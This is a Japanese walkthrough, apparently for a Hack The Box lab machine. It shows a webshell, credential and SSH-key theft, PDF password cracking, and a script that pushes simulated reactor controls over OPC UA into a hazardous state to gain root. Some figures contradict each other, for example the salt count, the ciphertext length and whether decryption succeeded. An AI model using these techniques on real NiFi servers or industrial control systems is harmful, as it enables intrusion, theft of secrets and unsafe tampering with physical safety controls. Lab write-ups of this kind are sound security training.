BASE TABLE: USERS
BASE TABLE: SETTINGS
BASE TABLE: CONSTANTS
BASE TABLE: RIGHTS
BASE TABLE: ROLES
BASE TABLE: ENUM_VALUES
BASE TABLE: SESSION_STATE
BASE TABLE: INDEX_COLUMNS
BASE TABLE: SYNONYMS
VIEW:       TABLES, COLUMNS, VIEWS, ROUTINES, ... (INFORMATION_SCHEMA ビュー群)
H2 テーブル発見: USERS, SETTINGS, CONSTANTS が最重要テーブル。 USERS テーブルに operator のパスワードハッシュや認証情報が含まれる可能性が高い。 次: ExecuteSQL の SQL を SELECT * FROM USERS に変更して実行。

USERS テーブル クエリ → H2 DB ユーザー確認

PYTHON — nifi_query.py 使用
python3 /tmp/nifi_query.py "SELECT * FROM INFORMATION_SCHEMA.USERS"
RESULT
{'USER_NAME': 'OPERATOR', 'IS_ADMIN': True, 'REMARKS': None}
PYTHON — ユーザー定義テーブルの確認
python3 /tmp/nifi_query.py \
  "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='PUBLIC'"
RESULT
(0 rows) — PUBLIC スキーマにユーザー定義テーブルなし
maint DB は空 — helix-plc が起動時にのみテーブルを使用し、常時保持しない
ℹ️
なぜ実行したか: H2 maint DB に operator のパスワードや保守設定テーブルが含まれる可能性を調査するため。
判明事項: DB ユーザー OPERATOR (IS_ADMIN=True) を確認。 ただしユーザー定義テーブルは空 — パスワードハッシュは取得不可。 H2 INFORMATION_SCHEMA.USERS にはパスワードは含まれない仕様のため、この経路での認証情報取得は不可能。
PHASE 8

認証情報深掘り調査 — DBファイル・環境変数・復号再試行

H2 データベースファイル探索

BASH (Webshell経由)
curl -s -X POST http://10.129.245.123:9999 \
  -d 'find /opt/nifi-1.21.0 -name "*.mv.db" -o -name "*.h2.db" 2>/dev/null'
RESULT
/opt/nifi-1.21.0/database_repository/nifi-flow-audit.mv.db     (192 KB)
/opt/nifi-1.21.0/database_repository/nifi-identity-providers.mv.db  (40 KB)
ℹ️
nifi-identity-providers.mv.db は外部 IdP (LDAP等) のユーザーグループ情報を保持する H2 DB。 nifi-flow-audit.mv.db はフロー監査ログ用 DB。どちらも nifi 所有のため読み取り可能。
ℹ️
なぜ実行したか: NiFi 内部 H2 データベースファイルに認証情報が含まれる可能性があるため調査。
判明事項: database_repository に nifi-flow-audit.mv.db と nifi-identity-providers.mv.db の2ファイルが存在。

nifi-identity-providers.mv.db の解析 (H2 Recover)

BASH — ファイルをコピーして Recover ツール実行
curl -s -X POST http://10.129.245.123:9999 \
  -d 'cp /opt/nifi-1.21.0/database_repository/nifi-identity-providers.mv.db /tmp/idp_copy.mv.db'

curl -s -X POST http://10.129.245.123:9999 \
  -d 'cd /tmp && java -cp /opt/nifi-1.21.0/lib/h2-2.1.214.jar \
      org.h2.tools.Recover -dir /tmp -db idp_copy 2>&1'
RESULT — /tmp/idp_copy.h2.sql
-- NiFi Identity Providers DB スキーマ
CREATE USER IF NOT EXISTS "NF"
  SALT '869124ad8f7db890'
  HASH '4ee2d71fcd6c41ff12c53741068da610e328c19b516fe060f83cb1d32c84a40a'
  ADMIN;

CREATE CACHED TABLE "PUBLIC"."IDENTITY_PROVIDER_USER_GROUP"(
    "ID" INTEGER GENERATED BY DEFAULT AS IDENTITY NOT NULL,
    "IDENTITY" CHARACTER VARYING(4096) NOT NULL,
    "IDP_TYPE" CHARACTER VARYING(200) NOT NULL,
    "GROUP_NAME" CHARACTER VARYING(4096) NOT NULL,
    "CREATED" TIMESTAMP NOT NULL
);
-- ※ データなし (INSERT 文なし)
⚠️
H2 DB ユーザー NF が存在し、SALT/HASH が判明。 ただしこれは NiFi 内部の IdP DB 用ユーザーであり、Linux operator ユーザーとは無関係。 IDENTITY_PROVIDER_USER_GROUP テーブルにデータなし — LDAP等の外部IdPは未設定。
ℹ️
なぜ実行したか: 実行中の H2 DB はロックされていてアクセス不可なため、ファイルコピーを作成して H2 Recover ツールでダンプ。
判明事項: NiFi 内部ユーザー NF の認証情報は取得できたが Linux ユーザーとは無関係と判明。このアプローチでは operator パスワードは取得できない。

flow.json.gz 再解析 — 暗号化パスワード確認

BASH (Webshell経由)
curl -s -X POST http://10.129.245.123:9999 \
  -d 'zcat /opt/nifi-1.21.0/conf/flow.json.gz | python3 -c "
import sys,json; d=json.load(sys.stdin)
for cs in d[\"rootGroup\"][\"controllerServices\"]:
    print(json.dumps(cs[\"properties\"], indent=2))
"'
RESULT — MaintenanceDB コントローラーサービス設定
{
  "Database Connection URL": "jdbc:h2:mem:maint;MODE=MySQL;DB_CLOSE_DELAY=-1",
  "Database Driver Class Name": "org.h2.Driver",
  "Database User": "operator",
  "Password": "enc{071c70f433c9dbaa5e4abd4952f8141ca5bee272d7c58e9b4e5cda354adadfa286662b9f186f9b7ced7366addfa6581bcc93}"
}
ℹ️
暗号化値が以前 (9897...) から変化 (071c...)。 AES-GCM はランダム IV を使用するため、同一平文でも暗号化のたびに異なる値となる。 依然として operator が DB ユーザー名であることを確認。

H2 maint DB — INFORMATION_SCHEMA.USERS クエリ

PYTHON — nifi_query.py 経由
python3 /tmp/nifi_query.py "SELECT * FROM INFORMATION_SCHEMA.USERS"
RESULT
{'USER_NAME': 'OPERATOR', 'IS_ADMIN': True, 'REMARKS': None}
ℹ️
H2 の内部ユーザー管理として OPERATOR が DB 管理者 (IS_ADMIN=True)。 INFORMATION_SCHEMA.USERS は H2 内部ユーザーのみ表示し、パスワードハッシュは含まない。 maint DB に ユーザー定義テーブル (PUBLIC スキーマ) なし — アプリデータが格納されていない空のDB。

NiFi プロセス環境変数チェック

BASH (Webshell経由)
curl -s -X POST http://10.129.245.123:9999 \
  -d 'strings /proc/1089/environ 2>/dev/null | head -20'
RESULT
USER=nifi
HOME=/opt/nifi
NIFI_HOME=/opt/nifi-1.21.0
NIFI_PID_DIR=/opt/nifi-1.21.0/run
NIFI_LOG_DIR=/opt/nifi-1.21.0/logs
JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64
NIFI_HDFS_DENY_LOCAL_FILE_SYSTEM_ACCESS=false
NIFI_ALLOW_EXPLICIT_KEYTAB=true
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=en_US.UTF-8
認証情報・パスワードは環境変数に含まれない

NiFi 暗号化パスワード Python 復号試行 (失敗)

PYTHON — /tmp/nifi_decrypt.py
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.ciphers.aead import AESGCM

KEY = "TUHh+YHA30zmdlcA8xq/elNBLPkO03Nl"
ENCRYPTED_HEX = "071c70f433c9dbaa5e4abd4952f8141ca5bee272d7c58e9b4e5cda354adadfa286662b9f186f9b7ced7366addfa6581bcc93"

# フォーマット: IV(12bytes) + Ciphertext+Tag(35bytes) → 47bytes total = 94 hex chars
iv = bytes.fromhex(ENCRYPTED_HEX[:24])
cipher_tag = bytes.fromhex(ENCRYPTED_HEX[24:])  # 35bytes = 19bytes ciphertext + 16bytes GCM tag

# 試行した塩・イテレーション・KDF の組み合わせ:
salts = [b"NiFi Static Salt", b"nifi static salt", b"NiFiStaticSalt",
         b"nifi sensitive property provider", b"NiFiSensitivePropertyProvider",
         b"NiFiENC", b"NiFi", b""]
iterations = [160000, 65536, 10000, 1]
algorithms = [SHA512, SHA256]
RESULT
全組み合わせで GCM 認証タグ検証失敗 (InvalidTag)

試行総数: 9 salts × 4 iterations × 2 algos + Direct key = 73通り
全て失敗 → 暗号化方式の詳細 (salt値・KDF実装) が不明
🚨
課題: NiFi 1.21.0 の NIFI_PBKDF2_AES_GCM_256 における PBKDF2 ソルトの正確な値が特定できていない。 NiFi Java ライブラリを直接使用するか (ターゲット上でコンパイル実行)、 または OPC UA 経由でメンテナンスウィンドウを起動させる別経路を検討。

H2 FILE_READ による user.txt 直接取得試み

PYTHON — nifi_query.py 経由
python3 /tmp/nifi_query.py "SELECT FILE_READ('/home/operator/user.txt', NULL)"
RESULT
ERROR: NO_FLOWFILES
# H2 FILE_READ は nifi ユーザー権限で実行されるため /home/operator/ にアクセス不可
# クエリが failure パスへ流れ、FlowFile が生成されない

bootstrap.conf 確認

BASH (Webshell経由)
curl -s -X POST http://10.129.245.123:9999 \
  -d 'grep -v "^#" /opt/nifi-1.21.0/conf/bootstrap.conf | grep -v "^$"'
RESULT (主要設定)
java=java
run.as=nifi
lib.dir=./lib
conf.dir=./conf
nifi.bootstrap.sensitive.key=  ← 空 (追加暗号化キーなし)
java.arg.2=-Xms512m
java.arg.3=-Xmx512m
PHASE 9

operator SSH鍵取得・user.txt取得・MaintenanceWindow 起動調査

support-bundles から operator SSH 秘密鍵の発見

BASH (Webshell経由)
curl -s -X POST http://10.129.9.233:9999 \
  -d 'find /opt/nifi-1.21.0/support-bundles/ -type f 2>/dev/null | head -20'
RESULT
/opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak
BASH — SSH 秘密鍵を attacker にコピー
curl -s -X POST http://10.129.9.233:9999 \
  -d 'cat /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak'
# → attacker の /tmp/operator_id_ed25519 に保存
RESULT — 取得した ED25519 秘密鍵
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOwAAAJhCUmdYQlJn
... operator の ED25519 SSH 秘密鍵 ...
-----END OPENSSH PRIVATE KEY-----
重要発見: NiFi のサポートバンドルディレクトリ (/opt/nifi-1.21.0/support-bundles/) に operator ユーザーの ED25519 SSH 秘密鍵バックアップが平文で保存されていた。

SSH ログイン & user.txt 取得

BASH (attacker)
chmod 600 /tmp/operator_id_ed25519
ssh -i /tmp/operator_id_ed25519 operator@10.129.9.233 'cat ~/user.txt'
RESULT — user.txt 取得成功!
46b2f3e62d67740016888cd5b1f9aa99

sudo 権限確認 — helix-maint-console

BASH (operator@helix)
sudo -l
RESULT
(root) NOPASSWD: /usr/local/sbin/helix-maint-console
BASH — helix-maint-console スクリプト確認
cat /usr/local/sbin/helix-maint-console
RESULT
#!/bin/bash
set -euo pipefail
FLAG="/opt/helix/state/maintenance_window"

window_ok() {
  [ -f "$FLAG" ] || return 1
  local until_ts now
  until_ts="$(cat "$FLAG" 2>/dev/null || true)"
  now="$(date +%s)"
  [[ "$until_ts" =~ ^[0-9]+$ ]] || return 1
  [ "$now" -lt "$until_ts" ] || return 1
  return 0
}

if ! window_ok; then
  echo "Maintenance window CLOSED."
  exit 1
fi
echo "[+] Privileged maintenance access granted"
systemd-run --quiet --scope /bin/bash -p -i  # → root シェル起動!
⚠️
権限昇格パス: operatorsudo helix-maint-console を NOPASSWD で実行可能。 このスクリプトは /opt/helix/state/maintenance_window ファイルに 将来の Unix タイムスタンプが含まれる場合のみ root シェルを起動する。
→ このファイルを helix-safety (root プロセス) が作成する必要がある。

helix システム構成の詳細分析

サービス実行ユーザー役割アクセス可否
helix-plcplc OPC UA サーバー (port 4840) — センサーデータシミュレーション グループ: helixsvc (nifi 不可)
helix-safetyroot 安全コントローラー — 危険状態検出時に maintenance_window ファイル作成 root 専用 (/proc/fd 読み取り不可)
helix-hmiwww-data HMI ダッシュボード (Flask, port 8081 localhost) HTTP のみアクセス可 (グループ: helixsvc)
helix-cleanup.timerroot 5分ごとにすべての helix プロセスを再起動・状態リセット スクリプト読み取り不可
ℹ️
/opt/helix/ ディレクトリは root:helixsvc 0750 権限。 helixsvc グループには plcwww-data のみが所属。 nifi ユーザーも operator ユーザーも /opt/helix/ にアクセス不可。

HMI ダッシュボード発見 (127.0.0.1:8081)

BASH (Webshell経由)
curl -s -X POST http://10.129.9.233:9999 \
  -d 'curl -s http://127.0.0.1:8081/ 2>&1'
RESULT — Helix HMI ダッシュボード
<h1>Helix Industries — Reactor HMI</h1>
<!-- NOTE: Maintenance window is NOT the same as MAINTENANCE mode.
     Window opens only when safety controller authorizes it
     under hazardous test conditions. -->

Reactor:
  Temperature: 297.0 °C
  Pressure: 69.00 bar
  Raw Temp: 284.0 °C | CalibrationOffset: 13.0 °C

Safety:
  Trip Active: False
  Rods Inserted: True
  Emergency Cooling: True

Control:
  Mode: TEST
  Test Override: True
  Test Mode Active: NO  ← ここが問題

Maintenance Window:
  Status: CLOSED
  No maintenance window file present.
  This window is granted by the safety controller only when a hazardous
  test condition is detected (e.g., Temp ≥ 295°C or Pressure ≥ 73 bar)
  while still below trip.

OPC UA ノードマッピング (正確版)

ノード ID名前現在値書き込み
ns=2;i=1Plantフォルダ
ns=2;i=2Reactorフォルダ
ns=2;i=3TemperatureRaw~284°C
ns=2;i=4Temperature~297°C (Raw+Offset)
ns=2;i=5Pressure~69 bar
ns=2;i=6CalibrationOffset13.0 (設定済)✓ Double型
ns=2;i=7Safetyフォルダ
ns=2;i=8RodsInsertedTrue (helix-plcが上書き)✓ (即座にリセット)
ns=2;i=9EmergencyCoolingTrue (helix-plcが上書き)✓ (即座にリセット)
ns=2;i=10TripActiveFalse
ns=2;i=11Controlフォルダ
ns=2;i=12Mode“TEST” (設定済)✓ String型
ns=2;i=13TestOverrideTrue (設定済)✓ Boolean型
ns=2;i=14ResetTripFalse✓ Boolean型
ℹ️
重要な修正: 以前の Python スクリプトは CalibrationOffsetua.VariantType.Float を使用しており BadTypeMismatch エラーが発生していた。 正しくは ua.VariantType.Double を使用する必要がある。 修正後、CalibrationOffset=13.0 の書き込みが成功し、Temperature が 284°C → 297°C に変化。

MaintenanceWindow 起動失敗試行 — 根本原因分析

失敗した試行の記録
# 試行した設定 (誤り):
await calib_node.write_value(DataValue(Variant(13.0, VariantType.Double)))  # Temp → 297°C
await mode_node.write_value(DataValue(Variant("TEST", VariantType.String)))   # Mode=TEST  ← 誤り!
await to_node.write_value(DataValue(Variant(True, VariantType.Boolean)))       # TestOverride=True

# 監視結果 (30秒間):
# Temperature: 297.0°C ✓  (≥295°C 条件は表面上満足)
# Mode: TEST (書き込みは成功するが helix-safety に認識されない)
# TestOverride: True ✓
# TripActive: False ✓
# → Test Mode Active: NO のまま
# → maintenance_window ファイル作成されず
🚨
根本原因: Mode="TEST" は有効なモード値ではない。helix-safety は NORMALMAINTENANCE の2値しか認識しない。"TEST" を書き込んでも helix-safety がそれを 無視するため、TestModeActive が YES に遷移せず、MaintenanceWindow も開かない。

正しい値: Mode="MAINTENANCE" — Section 9-8 の PDF 解読で判明。 OPC UA ノードへの書き込み自体は成功するが、helix-safety の状態機械が未定義の文字列を受け取った場合は 安全のためデフォルト動作 (NORMAL 扱い) となる設計になっていた。

解決: Operator Control & Safety Guide PDF からの手順解読

BASH — PDF パスワードクラック
pdf2john ~/operator/'Operator Control & Safety Guide.pdf' > /tmp/pdf_hash.txt
john --show /tmp/pdf_hash.txt
# → Password: operator1
PDF 内容 — 重要セクション (Section 6)
6. Maintenance Mode & Safety Window
Entering Maintenance Mode:
  1. Switch Mode to "MAINTENANCE"  ← "TEST" ではない!
  2. Enable TestOverride
  3. Begin controlled adjustment using CalibrationOffset

7. Maintenance Operating Window opens when:
  - Temperature reaches ≥295°C OR Pressure ≥73 bar
  - Below trip thresholds (~305°C / ~75 bar)
  - No safety trip is active
🔑
根本原因の特定: これまで Mode="TEST" を使用していたが、 正しい値は Mode="MAINTENANCE" だった。NORMAL/MAINTENANCE の2種類しか存在しない。 Mode="TEST" は有効なモード値ではなく、helix-safety はこれを認識しなかった。

MaintenanceWindow 起動 — 最終手順

PYTHON — OPC UA 正しい手順
# 1. Mode = "MAINTENANCE" (テスト値ではなく正式な保守モード)
await mode.write_value(DataValue(Variant("MAINTENANCE", VariantType.String)))

# 2. TestOverride = True (保守オーバーライド有効化)
await to.write_value(DataValue(Variant(True, VariantType.Boolean)))

# → HMI: Test Mode Active = YES  ← これが鍵!

# 3. CalibrationOffset を段階的に増加 (急上昇でトリップ回避)
for step in [5.0, 10.0, 15.0, 17.0]:
    await calib.write_value(DataValue(Variant(step, VariantType.Double)))
    await asyncio.sleep(1)
    # Temp: 283°C → 289°C → 294°C → 299°C → 301°C

# → Temperature = 301°C (≥295°C かつ <305°C) でウィンドウ開放!
PYTHON — /tmp/get_root.py (最終実行スクリプト完全版)
# /tmp/get_root.py — 最終実行スクリプト
async def trigger_window():
    async with Client(url="opc.tcp://TARGET:4841/helix/", timeout=15) as client:
        mode  = client.get_node("ns=2;i=12")  # Mode
        to    = client.get_node("ns=2;i=13")  # TestOverride
        calib = client.get_node("ns=2;i=6")   # CalibrationOffset
        temp  = client.get_node("ns=2;i=4")   # Temperature

        # 1. MAINTENANCE モード設定 (TEST ではない!)
        await mode.write_value(Variant("MAINTENANCE", VariantType.String))
        # 2. TestOverride 有効化
        await to.write_value(Variant(True, VariantType.Boolean))
        # 3. 段階的にオフセット増加 (急増→トリップ防止)
        for step in [5.0, 10.0, 15.0, 17.0]:
            await calib.write_value(Variant(step, VariantType.Double))
            await asyncio.sleep(1)
        # HMI が "OPEN" になるまでポーリング

# window が開いたら SSH で即時実行
cmd = 'echo "cat /root/root.txt" | ssh -i KEY operator@TARGET "sudo /usr/local/sbin/helix-maint-console"'
HMI 最終状態
Temperature: 301.0°C  (≥295°C ✓)
Mode: MAINTENANCE ✓
Test Mode Active: YES ✓
Trip Active: False ✓

Privileged Maintenance Window: OPEN
Window expires in 109 seconds

root.txt 取得 — 完全攻略!

BASH — helix-maint-console で root シェル取得
echo 'id && cat /root/root.txt' | \
  ssh -i /tmp/operator_id_ed25519 operator@10.129.9.233 \
  "sudo /usr/local/sbin/helix-maint-console"
RESULT — root.txt 取得成功!
[+] Privileged maintenance access granted
[!] Window expires in 109 seconds
root@helix:/home/operator# id && cat /root/root.txt
uid=0(root) gid=0(root) groups=0(root)
4d2065ba725854027bbc58d4936c4363
完全攻略! user.txt と root.txt の両フラグ取得完了。
SUMMARY

攻撃サマリー

発見した脆弱性・設定ミス

脆弱性 / 設定ミス 影響製品 深刻度 ステータス
Apache NiFi 無認証REST API
canRead/canWrite: true — プロセッサ作成・実行可
NiFi 1.21.0 Critical 悪用成功 (RCE)
NiFi 設定ファイルの平文マスターキー
nifi.properties に sensitive.props.key が平文で保存
nifi.properties Critical キー取得済み
暗号化パスワードの復号 (PBKDF2/AES-GCM)
NiFi独自暗号化 → R7qZ9L3xKM2W8pFYcA
flow.json.gz (MaintenanceDB) High 復号成功
H2 インメモリDB への直接アクセス
NiFi ExecuteSQL 経由で任意 SQL 実行可 / OPERATOR 管理者権限
jdbc:h2:mem:maint High ユーザー定義テーブルなし — DB は空
OPC UA 無認証書き込み
HelixPLC ノードへの書き込みに認証不要
OPC UA :4840 High 書き込み成功 / 目的未達成

取得した認証情報・秘密情報

種類用途有効性
NiFi sensitive.props.key TUHh+YHA30zmdlcA8xq/elNBLPkO03Nl NiFi 暗号化マスターキー 有効
H2 DB パスワード (operator) ※以前の復号結果 R7qZ9L3xKM2W8pFYcA MaintenanceDB 認証 SSH ログイン失敗 — DB専用パスワード
H2 NF ユーザー (nifi-identity-providers DB) SALT: 869124ad8f7db890
HASH: 4ee2d71f…a40a
NiFi 内部 IdP DB 用 H2 ユーザー Linux ユーザーとは無関係
流.json 暗号化パスワード (新 IV) enc{071c70f4…bcc93} NiFi NIFI_PBKDF2_AES_GCM_256 暗号化 operator パスワード Python 復号試行中 (失敗) → Java API 必要
operator ED25519 SSH 秘密鍵 /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak operator ユーザーへの SSH ログイン 有効 — user.txt 取得済み

攻撃経路

1. Nmap (22,80)
2. VHost ffuf
3. flow.helix.htb (NiFi)
4. NiFi API 無認証
5. ExecuteProcess RCE
6. nifi シェル
7. Webshell (9999)
8. OPC UA プロキシ (4841)
9. NiFi設定解析
10. パスワード復号
11. SSH 失敗 (pw復号不全)
12. H2 DBテーブル列挙
13. DB ファイル解析 (H2 Recover)
14. SSH鍵発見 (support-bundles)
15. operator SSH → user.txt ✓
16. HMI発見 & OPC UA調査
17. PDF解読 → Mode=MAINTENANCE
18. Calib ramp → Window OPEN
19. helix-maint-console → root.txt ✓

フラグ取得状況

user.txt (/home/operator/user.txt) — 取得済み!
46b2f3e62d67740016888cd5b1f9aa99
取得方法: NiFi support-bundles に保存されていた operator の ED25519 SSH 秘密鍵 (operator_id_ed25519.bak) を発見し SSH ログイン
root.txt (/root/root.txt) — 取得済み!
4d2065ba725854027bbc58d4936c4363
取得方法: PDF (operator1) → Mode=MAINTENANCE + TestOverride + CalibrationOffset ramp → helix-safety が maintenance_window 作成 → sudo helix-maint-console → root shell

完全攻略 — 最終攻撃フロー

Helix HTB 完全攻略! 両フラグ取得完了。
  1. NiFi 無認証 REST API → ExecuteProcess RCE → nifi シェル (Webshell :9999)
  2. support-bundles の operator ED25519 SSH 秘密鍵発見 → SSH ログイン → user.txt
  3. sudo helix-maint-console (NOPASSWD) の maintenance_window 条件調査
  4. operator ホームの PDF (パスワード: operator1) から正確な手順解読
  5. OPC UA: Mode=MAINTENANCE + TestOverride=True + CalibrationOffset ramp (17°C)
  6. helix-safety が maintenance_window ファイル作成 (109秒有効)
  7. echo ‘cat /root/root.txt’ | sudo helix-maint-console → root.txt

環境情報

項目
ターゲットIP10.129.9.233 (旧: 10.129.245.123)
ドメインhelix.htb
発見VHostflow.helix.htb
AttackerIP (LHOST)10.10.14.245
ターゲットOSLinux 5.15.0-164-generic (Ubuntu 22.04)
SSHOpenSSH 8.9p1 Ubuntu-3ubuntu0.15
Webサーバーnginx/1.18.0 (Ubuntu)
脆弱サービスApache NiFi 1.21.0 (無認証 REST API)
取得ユーザーnifi (uid=998)
目標ユーザーoperator (uid=1000)
NiFi プロセスIDjava pid=1089 (NiFi), java pid=1011
Webshellpython3 pid=5471 (port 9999)
OPC UA プロキシpython3 pid=5792 (port 4841)
調査日時2026-06-05